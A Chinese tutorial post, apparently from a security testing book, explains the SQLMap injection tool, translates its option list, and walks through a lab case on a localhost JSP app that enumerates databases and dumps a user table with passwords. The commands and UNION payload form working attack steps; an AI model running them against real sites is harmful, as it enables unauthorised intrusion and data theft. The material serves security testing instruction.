前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >安全测试工具(连载5)

安全测试工具(连载5)

作者头像
顾翔
发布2019-12-12 14:54:06
1.8K0
发布2019-12-12 14:54:06
举报
文章被收录于专栏:啄木鸟软件测试

2.2 SQL Map

SQL Map是一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird,、Sybase和SAP MaxDB。它采用六种独特的SQL注入技术,分别是。

l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。

l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟

l 语句是否执行(即页面返回时间是否增加)来判断。

l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

l 联合查询注入,可以使用union的情况下的注入。

l 堆查询注入,可以同时执行多条语句的执行时的注入。

首先需要说明的是,SQL Map是基于Python2.X进行编写的,所以使用SQL Map必须切换到Python2.X环境下,可以参考本书4.3.6章节的“扩展阅读:一台机器上同时支持Python 2.X系列和3.X系列”。本书介绍的SQL Map版本为1.2.9.30#dev

打开命令行编辑工具,进入到SQL Map所在的目录,通过命令。

\sqlmap目录>sqlmap.py [参数] [可能存在SQL注入的URL地址]

使用SQL Map工具。SQL Map的参数见2。

2 SQLMap的参数

设置

解释

Options(选项)

-h, --help :显示此帮助消息并退出 -hh:显示更加详细的帮助信息并退出 --version:显示程序的版本号并退出 -v VERBOSE:详细级别:0-6(默认为1)

Target(目标)

以下至少需要设置其中一个选项,设置目标URL。

-d DIRECT:直接连接到数据库。 -u URL, --url=URL:目标URL。 -l LOGFILE:解析目标、从Burp或WebScarab代理日志文件。-x SITEMAPURL:解析目标从远程站点地图文件(.xml)。-m BULKFILE:扫描文本文件中给出的多个目标。-r REQUESTFILE:从文件加载HTTP请求。-g GOOGLEDORK:处理Google dork的结果作为目标URL。 -c CONFIGFILE:从INI配置文件中加载选项。

Request(请求)

这些选项可以用来指定如何连接到目标URL。

--method=METHOD:强制使用给定的HTTP方法(e.g. PUT)。--data=DATA:通过POST发送的数据字符串。--param-del=PARA:用于拆分参数值的字符。--cookie=COOKIE:HTTP Cookie头的值。--cookie-del=COOKIE :用于分割Cookie值的字符。--load-cookies=L.. :包含Netscape / WGET格式的cookie的文件。--drop-set-cookie:从响应中忽略Set-Cookie头。--user-agent=AGENT:指定 HTTP User - Agent头。--random-agent:使用随机选定的HTTP User - Agent头。--host=HOST:HTTP主机头值。--referer=REFERER :指定 HTTP Referer头。-H HEADER, --hea.. :额外header,比如:(e.g. "X-Forwarded-For: 127.0.0.1")。--headers=HEADERS:额外header,比如:(e.g. "Accept-Language: fr\nETag: 123")。--auth-type=AUTH.. :HTTP认证类型(Basic, Digest, NTLM or PKI)。--auth-cred=AUTH..: HTTP认证凭证(name:password)。--auth-file=AUTH.. :HTTP认证 PEM认证/私钥文件。--ignore-401:忽略HTTP错误401(未经授权)。--proxy=PROXY:使用代理连接到目标网址。--proxy-cred=PRO..:代理认证证书(name:password) 。--proxy-file=PRO..:从文件中加载代理列表。--ignore-proxy:忽略系统默认代理设置。--tor:使用Tor匿名网络。--tor-port=TORPORT:设置Tor代理端口而不是默认值。--tor-type=TORTYPE:设置Tor代理类型。--check-tor:检查Tor是否正确使用。--delay=DELAY:每个HTTP请求之间的延迟(秒) --timeout=TIMEOUT:超时连接前等待(秒,默认30秒)。--retries=RETRIES:连接超时重试次数(默认值3)。--randomize=RPARAM:随机更改给定参数的值。--safe-url=SAFEURL:在测试期间频繁访问的URL地址。--safe-post=SAFE..:POST数据发送到安全URL。--safe-req=SAFER.. :从文件中加载安全HTTP请求。--safe-freq=SAFE..:在两次访问给定安全网址之间测试请求。--skip-urlencode:忽略有效载荷数据的URL编码。--csrf-token=CSR.. :参数用于保存anti-CSRF令牌。--csrf-url=CSRFURL :提取anti-CSRF URL地址访问令牌。--force-ssl:强制使用SSL / HTTPS。--hpp:使用HTTP参数pollution的方法。--eval=EVALCODE: (e.g. 评估请求之前提供Python代码 "import hashlib;id2=hashlib.md5(id).hexdigest()") 。

Optimization(优化)

这些选项可用于优化SQL Map的性能。

-o :开启所有优化开关。--predict-output:预测常见的查询输出。--keep-alive:使用持久的HTTP(S)连接。--null-connection:从没有实际的HTTP响应体中检索页面长度。--threads=THREADS:最大的HTTP(S)请求并发量(默认为1)。

Injection(注入)

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。

-p TESTPARAMETER:可测试的参数。--skip=SKIP:忽略对给定参数的测试。--skip-static:忽略测试不显示为动态的参数。--param-exclude=.. :使用正则表达式排除参数进行测试(e.g. "ses")。--dbms=DBMS :强制后端的DBMS为此值。--dbms-cred=DBMS.. : DBMS认证凭证(user:password) 。--os=OS:强制后端的DBMS操作系统为这个值。--invalid-bignum:使用大数字使值无效。--invalid-logical:使用逻辑操作使值无效。--invalid-string:使用随机字符串使值无效。--no-cast:关闭有效Payload铸造机制 --no-escape:关闭字符串转义机制。--prefix=PREFIX:注入Payload字符串前缀。--suffix=SUFFIX:注入Payload字符串后缀。--tamper=TAMPER:使用给定的脚本篡改注入数据。

Detection(检测)

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。

--level=LEVEL:执行测试的等级(1-5,默认为1)。--risk=RISK:执行测试的风险(0-3,默认为1)。--string=STRING:查询时有效时在页面匹配字符串。--not-string=NOT..:当查询求值为无效时匹配的字符串。--regexp=REGEXP:查询时有效时在页面匹配正则表达式。--code=CODE:当查询求值为True时匹配的HTTP代码。--text-only:仅基于在文本内容比较网页。 --titles:仅根据他们的标题进行比较。

Techniques(技巧)

这些选项可用于调整具体的SQL注入测试。

--technique=TECH:SQL注入技术测试(默认BEUST)。--time-sec=TIMESEC:DBMS响应的延迟时间(默认为5秒)。--union-cols=UCOLS :定列范围用于测试UNION查询注入。--union-char=UCHAR:用于暴力猜解列数的字符。--union-from=UFROM:要在UNION查询SQL注入的FROM部分使用的表。--dns-domain=DNS.. :域名用于DNS漏出攻击。--second-order=S.. :生成页面的URL搜索为second-order响应。

Fingerprint(指纹)

-f, --fingerprint:执行检查广泛的DBMS版本指纹。

Enumeration(枚举)

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己的SQL语句。

-a, --all:检索所有内容 -b, --banner:检索数据库管理系统的标识。--current-user:检索数据库管理系统的当前用户。--current-db:检索数据库管理系统当前数据库。--hostname:检索数据库服务器的主机名。--is-dba :检测数据库管理系统当前用户是否DBA。--users:枚举数据库管理系统用户。--passwords:枚举数据库管理系统用户密码哈希值。--privileges:枚举数据库管理系统用户的权限。--roles:枚举数据库管理系统用户的角色。--dbs:枚举数据库管理系统数据库。--tables:枚举的数据库管理系统数据库中的表。--columns:枚举数据库管理系统数据库表列。--schema:枚举数据库架构。--count:检索表的条目数。--dump:转储数据库管理系统的数据库中的表项。--dump-all:转储数据库管理系统的数据库中的表项。--search:搜索列,表和/或数据库名称。--comments:检索数据库的comments(注释、评论)。-D DB:要进行枚举的数据库名。-T TBL:要进行枚举的数据库表。-C COL:要进行枚举的数据库列。-X EXCLUDECOL:要不进行枚举的数据库列。-U USER:用来进行枚举的数据库用户。--exclude-sysdbs:枚举表时排除系统数据库。--pivot-column=P.. :主列名称。--where=DUMPWHERE:使用WHERE条件进行表转储。--start=LIMITSTART:第一个查询输出进入检索。--stop=LIMITSTOP:最后查询的输出进入检索。--first=FIRSTCHAR:第一个查询输出字的字符检索。--last=LASTCHAR:最后查询的输出字字符检索。--sql-query=QUERY:要执行的SQL语句。--sql-shell:提示交互式SQL的shell。--sql-file=SQLFILE:从给定文件执行SQL语句。

Brute force(蛮力)

这些选项可以被用来运行蛮力检查。

--common-tables:检查存在共同表。--common-columns:检查存在共同列。

Operating system access(操作系统访问)

这些选项可以用于访问后端数据库管理系统的底层操作系统。

--os-cmd=OSCMD:执行操作系统命令。--os-shell:交互式的操作系统的shell。--os-pwn:获取一个OOB shell,meterpreter或VNC。--os-smbrelay:一键获取一个OOB shell,meterpreter或VNC。--os-bof:存储过程缓冲区溢出利用。--priv-esc:数据库进程用户权限提升。--msf-path=MSFPATH Metasploit Framework:本地的安装路径。--tmp-path=TMPPATH:远程临时文件目录的绝对路径。

File system access(访问文件系统)

这些选项可以被用来访问后端数据库管理系统的底层文件系统。

--file-read=RFILE 从后端的数据库管理系统文件系统读取文件--file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件--file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

User-defined function injection(用户自定义函数注入)

这些选项可以用来创建用户自定义函数。

--udf-inject:注入用户自定义函数。--shared-lib=SHLIB:共享库的本地路径。

Windows注册表访问

这些选项可以被用来访问后端数据库管理系统Windows注册表。

--reg-read:读一个Windows注册表项值。--reg-add:写一个Windows注册表项值。--reg-del:删除Windows注册表键值。--reg-key=REGKEY:Windows注册表键。--reg-value=REGVAL:Windows注册表项值。--reg-data=REGDATA:Windows注册表键值数据。--reg-type=REGTYPE:Windows注册表项值类型。

General(一般)

这些选项可以用来设置一些一般的工作参数。

-s SESSIONFILE:保存和恢复检索会话文件的所有数据。-t TRAFFICFILE:记录所有HTTP流量到一个文本文件中。--batch:从不询问用户输入,使用所有默认配置。 --binary-fields=.. :具有二进制值的结果字段。--charset=CHARSET:强制用于数据检索的字符编码。--crawl=CRAWLDEPTH :从目标网址开始抓取网站。--crawl-exclude=..:正则表达式排除网页抓取(e.g. "logout")。--csv-del=CSVDEL :分隔CSV输出中使用的字符(默认 ",") 。--dump-format=DU..:转储数据的格式(CSV(默认)、HTML 或者 SQLITE)。--eta:表示每个输出的预计到达时间。--flush-session:刷新当前目标的会话文件。--forms:在目标网址上解析和测试表单。--fresh-queries:忽略在会话文件中存储的查询结果。--hex:使用数据库管理系统哈希函数进行数据检索。--output-dir=OUT.. :自定义输出目录路径。--parse-errors:解析和显示响应中的数据库管理系统错误消息。--save=SAVECONFIG:保存选项到INI配置文件。 --scope=SCOPE:使用正则表达式从提供的代理日志中过滤目标。--test-filter=TE..:根据有效负载和/或标题(e.g. ROW)选择测试。--test-skip=TEST..:根据有效负载和/或标题忽略测试(e.g. BENCHMARK)。--update:更新SQLMap。

Miscellaneous(杂项)

-z MNEMONICS:使用简短的助记符。--alert=ALERT:在找到SQL注入时运行主机操作系统命令。--answers=ANSWERS:设置问题答案(e.g. "quit=N,follow=N") 。--beep:发现SQL注入时提醒。--cleanup :SqlMap具体的UDF和表清理DBMS。--dependencies:检查是否缺少(非内核)SQLMap依赖关系。--disable-coloring:禁用控制台输出颜色。--gpage=GOOGLEPAGE:使用Google dork结果指定页码。--identify-waf:对WAF / IPS / IDS保护进行全面测试。--skip-waf:跳过启发式检测WAF / IPS / IDS保护。--mobile:通过HTTP User-Agent标头模仿智能手机。--offline:在离线模式下工作(仅使用会话数据)。--page-rank:Google dork结果显示网页排名(PR)。--purge-output:安全地从输出目录中删除所有内容。--smart :只有在正启发式时才进行彻底测试。--sqlmap-shell:提示交互式sqlmap shell。--wizard:给初级用户的简单向导界面。

案例5:SQL注入的攻陷六步法

现在来看一个存在SQL注入的URL如何获得数据库内相关内容的。

1. 查看是否存在SQL注入。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3"

[15:40:40] [INFO] resuming back-end DBMS 'mysql’

Type:UNION query

Title:Generic UNION query (NULL) - 3 columns

Payload:id=3 UNION ALL SELECTNULL,NULL,CONCAT(0x7162627171,0x4a7448706e6d61795679447864784676736e6f4f487269774f506f6a43526e654f76737352585a6c,0x716a786a71)--TJrx

---

[15:40:40] [INFO] the back-end DBMS is MySQL

web application technology: JSP

back-end DBMS: MySQL >= 5.0

[15:40:40] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1'

[*] shutting down at 15:40:40

从上面结果可以获知,SQL Map已经得到数据库为MySQL,版本大于5.0,且后台是JSP语言。所以这个URL存在SQL注入。

2. 查看所有数据库。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --dbs

cweb application technology: JSP

back-end DBMS: MySQL >= 5.0

available databases [6]:

[*] information_schema

[*] mysql

[*] performance_schema

[*] phpmyadmin

[*] sec

[*] test

从上面结果可以获知当前数据库中存在information_schema、MySQL、performance_schema、phpmyadmin、sec和test六个数据库。

3. 查看当前数据库。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --current-db

current database: 'sec'

从上面结果可以获知当前数据库为sec。

4. 查看当前数据库下所有的表。

(py2.7work) c:\Python27\sqlmap> sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --table -D "sec"

Database: sec

[2 tables]

+-------+

| user |

| paper |

+-------+

从上面结果可以获知当前数据库下存在2个表:user和paper。

5. 查看指定表的数据结构。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --columns -T "user" -D"sec"

Database: sec

Table: user

[3 columns]

+----------+-------------+

| Column |Type |

+----------+-------------+

| id |int(11) |

| name |varchar(20) |

| password | varchar(20) |

+----------+-------------+

从上面结果可以获知use表中共有id、name、password三个字段以及三个字段的数据类型分别为int(11)、varchar(20)、varchar(20)。

5. 查看指定表的数据结构。

(py2.7work) c:\Python27\sqlmap>sqlmap.py -u"http://127.0.0.1:8080/sec/21/jsp/index.jsp?id=3" --dump –C "name,password" -T"user" -D "sec"

[5 entries]

+-------+----------+

| name |password |

+-------+----------+

| jerry | 654321 |

| cindy | 123456 |

| susan | qwert |

| peter | zxcvb |

+-------+----------+

[11:51:44] [INFO] table 'sec.`user`' dumped to CSVfile 'C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv'

[11:51:44] [INFO] fetched data logged to textfiles under 'C:\Users\xiang\.sqlmap\output\127.0.0.1'

[*] shutting down at 11:51:44

从上面结果可以获知use表的内容,并且沟通过--dump参数把表内容导入到C:\Users\xiang\.sqlmap\output\127.0.0.1\dump\sec\user.csv文件。

星云测试

http://www.teststars.cc

奇林软件

http://www.kylinpet.com

联合通测

http://www.quicktesting.net

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-09-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 软件测试培训 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 2.2 SQL Map
    • 案例5:SQL注入的攻陷六步法
    相关产品与服务
    云数据库 SQL Server
    腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档